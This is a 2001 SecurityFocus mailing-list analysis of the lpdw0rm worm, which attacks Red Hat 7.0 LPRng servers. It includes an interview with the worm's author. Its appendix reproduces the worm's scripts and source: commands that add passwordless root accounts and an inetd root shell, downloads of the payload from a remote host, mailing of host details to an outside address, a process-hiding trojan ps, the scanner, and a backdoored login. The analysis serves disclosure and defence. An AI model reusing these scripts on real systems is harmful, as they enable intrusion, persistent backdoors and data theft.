From: Ryan Russell (ryan@SECURITYFOCUS.COM)
Date: Fri Apr 27 2001 - 00:42:49 CDT

"lpdw0rm" Worm Analysis

April 26, 2001

Analysts: Oliver Friedrichs, Jensenne Roculan and Ryan Russell

SecurityFocus wishes to thank the anonymous party who originally supplied
us with a copy of the lpdw0rm.tar file, and also Kork for supplying us
with further versions and source code, and agreeing to speak with us.

lpdw0rm

Associated Vulnerability:
Multiple Vendor LPRng User-Supplied Format String Vulnerability
Associated Bugtraq ID:
1712
Associated Operating Systems:
RedHat Linux 7.0

General Overview

There is a new worm in the wild that affects unpatched Red Hat 7.0 servers
running the lprng printing service. This is one of the vulnerabilities
that several previous worms have taken advantage of. The fix is to apply
the patch from Red Hat. Part of the threat has already been removed, as
the website that the worm downloads itself from has had the worm files
removed. However, the author could re-active the website, or anyone could
easily create a variant that downloads itself from somewhere else. Even
with the download disabled, two backdoor access methods are installed
during the initial compromise. There are still compromised machines out
in the wild that will be scanning for new hosts to attack.

Technical Description

The lpdw0rm installs several backdoors when it compromises a host. The
initial set can be inferred from the .shelldet file, which is the set of
commands sent when the exploit is successful. It has the following set of
lines:

echo 'kork::1212:1212:::/bin/sh'>>/etc/passwd
echo 'kork::::::::'>>/etc/shadow
echo 'kork2::0:0:::/bin/sh'>>/etc/passwd
echo 'kork2::::::::'>>/etc/shadow
echo '666 stream tcp nowait root /bin/sh'>>/etc/inetd.conf
killall -HUP inetd

These add two new logins, kork and kork2, with no password. One of them is a
root equivalent. It also adds a shell prompt at TCP port 666.

Next, it downloads a file called login.c, moves it to /dev/.kork, does a
"make login", moves /bin/login to /bin/.login, moves /dev/.kork/login to
/bin/login. Then it downloads a copy of itself (lpdw0rm.tar), untars
itself into /dev/.kork, runs /dev/.kork/rk/install.sh, and then finally
runs /dev/.kork/scan.sh . The install.sh script collects the output from
the following commands:

/sbin/ifconfig
finger root
w
ps ax

And mails them to an outside e-mail account. Next, it renames /bin/ps to
/bin/.ps, and copies a perl script named "ps" that was included in
lpdw0rm.tar to /bin/ps. This perl script runs the saved .ps program, and
strips out any entries with the following strings:

cat
pscan
bfs
binfo
hack
expl
check
scan.sh
xargs
perl /bin/ps
/usr/bin/.ps
login
in.telnetd

The install.sh script finishes up by running winky.pl in the background.

Winky.pl is an IRC bot, written in 41 lines of perl. Upon running, it
connects to twisted.dal.net, and logs into the #qcrew channel with a
password. The victims will then remain logged in, awaiting commands.
Anyone with a copy of the script has enough information to cause all of
these victims to simultaneously execute an arbitrary command. During one
point while this analysis was being written, there were two victim
machines logged into the channel, but this is after the worm has been
pulled from the website. If the victim can’t download the tar file, this
portion of the worm cannot execute.

This feature could be leveraged to create a distributed denial of service
attack, and is yet one more method for an attacker to return to the
compromised host. SecurityFocus has at least one other copy of
lpdw0rm.tar that does not include winky.pl, nor reference to it in
install.sh. There are at least two variants of this worm, and could
easily be more, since all the author had to do was replace lpdw0rm.tar on
her website.

Much like previous worms, lpdw0rm contains a scan.sh script that does
three things in a continuous loop; it runs randb, and saves the output
into a variable named CLASS. It runs pscan with the parameters $CLASS and
515 (the lpr/lprng port) and then runs check. The randb program generates
the first two octets of an IP address. Unlike previous versions of randb,
the worm author has modified it to avoid certain address ranges that are
makred for private use, or are above the multicast range. Specifically,
it's programmed to avoid a first byte of 0 through 10, 49, anything over
230, and a first two bytes of 192.168. Previous versions of rand would
pick any combination of bytes.

The pscan program is a standard full-connect port scanner. The check
program is a shell script which calls .hack:

#!/bin/sh
cat results.log | xargs -P 30 -l ./.hack

And .hack is a shell script that calls expl, which is the actual exploit binary:

./expl $1 -t0 < .shelldet
./expl $1 brute -t0 < .shelldet
exit 1

The source code for this binary can found attached to the LPRng vulnerability
entry at:
http://www.securityfocus.com/bid/1712
on the "exploit" tab.

Author Interview

Kork, the author of the worm, agreed to an IRC interview with several
SecurityFocus employees. She describes herself as a 19 year old
programmer from Australia. She confirmed that she wrote the worm, and
provided us with a variant, and the source code to some of the pieces.

She says that she took the files off of her web server because the worm
was spreading too fast. She says that is has been in the wild for about a
month, and that she has had as many as a hundred new victims per day.

When asked if she was concerned about being prosecuted, she indicated that
she didn't feel that there was an adequate trail back to her. Her general
reasoning as to why she had written the worm was to see if she could do
it.

Additional Resources

Multiple Vendor LPRng User-Supplied Format String Vulnerability
http://www.securityfocus.com/bid/1712

Red Hat patch:
ftp://updates.redhat.com/7.0/i386/LPRng-3.6.24-2.i386.rpm

Worm author's website
http://www.darksisterhood.net/

Appendix: Source Code & Scripts

/dev/.kork/.hack
**********
./expl $1 -t0 < .shelldet
./expl $1 brute -t0 < .shelldet
exit 1

/dev/.kork/.shelldet
**********
echo 'kork::1212:1212:::/bin/sh'>>/etc/passwd
echo 'kork::::::::'>>/etc/shadow
echo 'kork2::0:0:::/bin/sh'>>/etc/passwd
echo 'kork2::::::::'>>/etc/shadow
echo '666 stream tcp nowait root /bin/sh'>>/etc/inetd.conf
killall -HUP inetd
lynx --dump http://x.x.x.x/~kork/login.c
mkdir /dev/.kork
mv login.c /dev/.kork
cd /dev/.kork
make login
mv /bin/login /bin/.login
mv login /bin/login
rm -rf login.c
ln -s /bin/.login /bin/login
lynx --dump http://x.x.x.x/~kork/lpdw0rm.tar>>lpdw0rm.tar
tar -xvf lpdw0rm.tar
cd lpdw0rm
cd rk
./install.sh
cd ..
./scan.sh >>/dev/null &

/dev/.kork/check
**********
#!/bin/sh
cat results.log | xargs -P 30 -l ./.hack

/dev/.kork/scan.sh
**********
#!/bin/sh
while true
        do
        CLASS=`./randb`
        ./pscan $CLASS 515
        ./check
done

/dev/.kork/rk/install.sh
**********
#!/bin/sh
echo '0wned'>>mail.stat
echo 'HOST DET:'>>mail.stat
/sbin/ifconfig>>mail.stat
finger root>>mail.stat
w>>mail.stat
ps ax>>mail.stat
echo '.'>>mail.stat
echo ''>>mail.stat
mail kork@xxxxxxx.com < mail.stat
rm -rf mail.stat
mv /bin/ps /usr/bin/.ps
mv ps /bin/ps
./winky.pl &

/dev/.kork/rk/ps
**********
#!/usr/bin/perl
$args="$ARGV[0] $ARGV[1] $ARGV[2] $ARGV[3] $ARGV[4] $ARGV[5]
$ARGV[6] $ARGV[7] $ARGV[9] $ARGV[10]";
system "/usr/bin/.ps $args >>/tmp/.tmpps";
open(TEST,"</tmp/.tmpps");
while(<TEST>) {
$data=$_;
if (index($data,"cat") >= 0) { goto nextr; }
if (index($data,"pscan") >= 0) { goto nextr; }
if (index($data,"bfs") >= 0) { goto nextr; }
if (index($data,"binfo") >= 0) { goto nextr; }
if (index($data,"hack") >= 0) { goto nextr; }
if (index($data,"expl") >= 0) { goto nextr; }
if (index($data,"check") >= 0) { goto nextr; }
if (index($data,"scan.sh") >= 0) { goto nextr; }
if (index($data,"xargs") >= 0) { goto nextr; }
if (index($data,"perl /bin/ps") >= 0) { goto nextr; }
if (index($data,"/usr/bin/.ps") >= 0) { goto nextr; }
if (index($data,"login") >= 0) { goto nextr; }
if (index($data,"in.telnetd") >= 0) { goto nextr; }

print "$data";
nextr:;
}
system "rm -rf /tmp/.tmpps";

randb.c
**********
#include <stdio.h>
#include <stdlib.h>

int main() {
int a=0,b=0;
srand(time(NULL));
start:;
a=1+(int) (223.0*rand()/(RAND_MAX+1.0));
b=1+(int) (255.0*rand()/(RAND_MAX+1.0));
if (a == 127) { goto start; }
if (a == 0) { goto start; }
if (a == 1) { goto start; }
if (a == 2) { goto start; }
if (a == 3) { goto start; }
if (a == 4) { goto start; }
if (a == 5) { goto start; }
if (a == 6) { goto start; }
if (a == 7) { goto start; }
if (a == 8) { goto start; }
if (a == 9) { goto start; }
if (a == 10) { goto start; }
if (a == 49) { goto start; }
if (a == 192) { if (b == 168) { goto start; } }
printf("%i.%i", a, b);
}

login.c
**********
/*
login backdoor by Kork
*/
#include <stdio.h>
#define pass "xxxxxxx"
#define lpath "/bin/.login"

int main(int argc, char *argv[], char *envp[]) {
  char *disp;
  disp=getenv("DISPLAY");
  if(disp == NULL) {
    execve(lpath, argv, envp);
    perror(lpath);
    exit(1);
  }
  if (!strcmp(disp,pass)) {
    system("/bin/sh");
    exit(1);
  }
  execve(lpath, argv, envp);
  exit(1);
}